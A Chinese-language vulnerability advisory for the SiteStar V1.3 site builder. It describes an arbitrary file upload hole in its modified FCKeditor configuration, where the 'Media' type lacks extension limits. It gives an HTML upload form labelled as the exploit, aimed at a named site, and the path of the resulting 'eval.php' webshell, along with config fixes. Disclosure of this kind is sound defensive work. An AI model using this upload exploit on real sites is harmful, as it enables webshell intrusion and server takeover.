发布日期:2011-01.15

发布作者:udb311

影响版本:sitestar V1.3

官方网站:http://www.sitestar.cn

漏洞类型:文件上传

关 键 字:保留吧,以免批量……

漏洞文件:/admin/fckeditor/upload/config.php

漏洞描述:

    刚刚看到漏洞测试一个是 linux 主机没成功,所以下程序看了下。此漏洞存仍然存在于 FCK 上传,程序采用了 FCKeditor Version 2 .0 对程序稍加了改动。除了 xiaocao 童鞋发布的建立 1.ASP 文件夹漏洞(详见:建站之星 智能建站系统漏洞 Windows IIS6),还存在上传 php 脚本漏洞。

漏洞文件“/admin/fckeditor/upload/config.php”:

<?php
//省略代码
//Due to security issues with Apache modules, it is reccomended to leave the
//following setting enabled.
$Config['ForceSingleExtension'] = true ;
$Config['AllowedExtensions']['File']    = array() ;
$Config['DeniedExtensions']['File']     = array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','htaccess','asis') ;
$Config['AllowedExtensions']['Image']   = array('jpg','gif','jpeg','png') ;
$Config['DeniedExtensions']['Image']    = array() ;
$Config['AllowedExtensions']['Flash']   = array('swf','fla') ;
$Config['DeniedExtensions']['Flash']    = array() ;
?>

    看代码,这是修改过的 FCKeditor 配置文件。未对'Media'进行限制,导致可以上传任意文件。

测试方法:

和 Fckeditor 2.4.2 原理一样,以下为关键内容片段,详见:Fckeditor 2.4.2 php任意上传文件漏洞

“……”

2、漏洞利用

    既然“fckeditor/editor/filemanager/browser/default/connectors/php/config.php”已经过滤了,那就只能利用“fckeditor/editor/filemanager/upload/php/config.php”了。

    不过如果留意一下改配置文件,就能看到默认情况下“$Config['Enabled'] = false”,是不允许上传的;其次,看upload.php能发现,程序对上传文件夹作了比对,必须是Media,说明在windows下不影响,但在Linux下则必须是大写M的Media目录,如果是media则返回信息正常,但文件并未上传成功。

自己写段上传脚本:

<form id="frmUpload" enctype="multipart/form-data" action="http://www.xxx.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">
Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>

    提交后查看源码就能看到上传文件的位置。

3、漏洞修补

    最好用新版,要不就拷贝以下代码到“config.php”最后。

以下是引用片段:

$Config['AllowedExtensions']['Media'] = array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg') ;
$Config['DeniedExtensions']['Media'] = array() ;

“……”

上传 EXP:

<form id="frmUpload" enctype="multipart/form-data" action="http://www.hackline.net/admin/fckeditor//upload//upload.php?Type=Media" method="post">
Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>

上传 WebShell 地址:

http://域名/upload/media/eval.php

漏洞修复:

修改 config 文件,限制上传目录的脚本执行权限。

01.$Config['AllowedExtensions']['Media'] = array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg') ;
02.$Config['DeniedExtensions']['Media'] = array() ;